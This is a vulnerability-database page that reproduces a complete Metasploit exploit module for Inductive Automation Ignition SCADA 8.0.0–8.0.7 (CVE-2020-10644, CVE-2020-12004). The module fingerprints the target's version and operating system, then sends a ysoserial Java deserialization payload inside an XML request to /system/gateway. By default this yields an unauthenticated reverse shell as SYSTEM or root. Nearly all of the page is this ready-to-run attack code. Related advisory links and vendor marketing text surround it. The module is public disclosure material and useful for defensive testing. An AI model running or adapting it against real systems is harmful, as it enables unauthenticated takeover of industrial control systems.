Lucene search
K

Inductive Automation Ignition Remote Code Execution Exploit

🗓️ 26 Jun 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 172 Views

Inductive Automation Ignition SCADA Remote Code Execution via Java Deserializatio

Related
Code
ReporterTitlePublishedViews
Family
0daydb
Inductive Automation Ignition - Remote Code Execution
28 Jun 202001:09
0daydb
ATTACKERKB
CVE-2020-12004
9 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10644
9 Jun 202000:00
attackerkb
Circl
CVE-2020-10644
25 Jun 202016:25
circl
Circl
CVE-2020-12004
25 Jun 202016:25
circl
CNVD
Inductive Automation Ignition Code Issue Vulnerability (CNVD-2020-34643)
27 May 202000:00
cnvd
CNVD
Inductive Automation Ignition Access Control Error Vulnerability
27 May 202000:00
cnvd
Check Point Advisories
Inductive Automation Ignition Insecure Deserialization (CVE-2020-12004; CVE-2020-10644)
21 Nov 202000:00
checkpoint_advisories
CVE
CVE-2020-10644
9 Jun 202017:50
cve
CVE
CVE-2020-12004
9 Jun 202017:16
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Inductive Automation Ignition Remote Code Execution',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
          versions 8.0.0 to (and including) 8.0.7.
          This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
          The default configuration is exploitable by an unauthenticated attacker, which can achieve
          remote code execution as SYSTEM on a Windows installation and root on Linux.
          The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
          Radek Domanski).
        },
        'License' => MSF_LICENSE,
        'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>',                    # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
        ],
        'References' =>
          [
            [ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
            [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
            [ 'CVE', '2020-10644'],
            [ 'CVE', '2020-12004'],
            [ 'ZDI', '20-685'],
            [ 'ZDI', '20-686'],
          ],
        'Privileged' => true,
        'Platform' => %w[unix win],
        'DefaultOptions' =>
          {
            'WfsDelay' => 15
          },
        'Targets' =>
          [
            [ 'Automatic', {} ],
            [
              'Windows',
              'Platform' => 'win',
              'DefaultOptions' =>
                { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
            ],
            [
              'Linux',
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD],
              'DefaultOptions' =>
                { 'PAYLOAD' => 'cmd/unix/reverse_python' },
            ]
          ],
        'DisclosureDate' => '2020-06-11',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(8088)
      ]
    )
  end

  def version_get
    res = send_request_cgi({
      'uri' => '/system/gwinfo',
      'method' => 'GET'
    })

    if res && res.code == 302
      # try again, versions < 8 use a different URL
      res = send_request_cgi({
        'uri' => '/main/system/gwinfo',
        'method' => 'GET'
      })
    end

    if res && res.code == 200
      # Regexp to get the version of the server
      version = res.body.match(/;Version=([0-9\.]{3,});/)
      if version
        return version[1]
      end
    end
    return ''
  end

  def os_get
    res = send_request_cgi({
      'uri' => '/system/gwinfo',
      'method' => 'GET'
    })
    if res && res.code == 200
      # Regexp to get the OS
      os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
      return os[1]
    end
  end

  def create_java_str(payload)
    (
      "\xac\xed" +                  # STREAM_MAGIC
      "\x00\x05" +                  # STREAM_VERSION
      "\x74" +                      # String object
      [payload.length].pack('n') +  # length
      payload
    ).force_encoding('ascii')       # is this needed in msf?
  end

  def check
    version = Gem::Version.new(version_get)
    if version.segments.length < 3
      fail_with(Failure::Unknown, 'Failed to obtain target version')
    end
    print_status("#{peer} - Detected version #{version}")
    if version >= Gem::Version.new('8.0.0') && version <= Gem::Version.new('8.0.7')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def pick_target
    os = os_get
    if os.include?('Windows')
      return targets[1]
    elsif os.include?('Linux')
      return targets[2]
    else
      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
    end
  end

  def exploit
    # Check if automatic target selection is set
    if target.name == 'Automatic'
      my_target = pick_target
    else
      my_target = target
    end
    print_status("#{peer} - Attacking #{my_target.name} target")

    # <version> is a CRC32 calculated by the server that we didn't want to reverse
    # However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
    # (line 383 of gateway-8.0.7.jar)
    # ... it will helpfully ignore the version if set to 0
    data =
      '<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
      '<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
      '<![CDATA['

    if my_target.name == 'Windows'
      cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
    else
      cmd = payload.encoded
    end

    version = Gem::Version.new(version_get)

    if version
      print_status("#{peer} - Detected version #{version}")
    else
      print_error("#{peer} - Target has an unknown version, this might not work...")
    end

    # Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
    #
    # An alternative to this would be GET /system/launchmf/D which will helpfully return
    # a list of all the jars in the system, letting us pick the right gadget chain.
    # However only 8.0.0 differs, so let's just have a special case for that.
    if version == Gem::Version.new('8.0.0')
      lib = 'CommonsCollections6'
    else
      lib = 'CommonsBeanutils1'
    end
    payload = ::Msf::Util::JavaDeserialization.ysoserial_payload(lib, cmd)
    payload = Rex::Text.encode_base64(payload)
    payload = create_java_str(payload)
    payload = Rex::Text.encode_base64(payload)
    data += payload

    data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'

    print_status("#{peer} - Sending payload...")

    res = send_request_cgi({
      'uri' => '/system/gateway',
      'method' => 'POST',
      'data' => data
    })

    if res&.body&.include?('Unable to load project diff.')
      print_good("#{peer} - Success, shell incoming!")
    else
      print_error("#{peer} - Something is not right, try again?")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation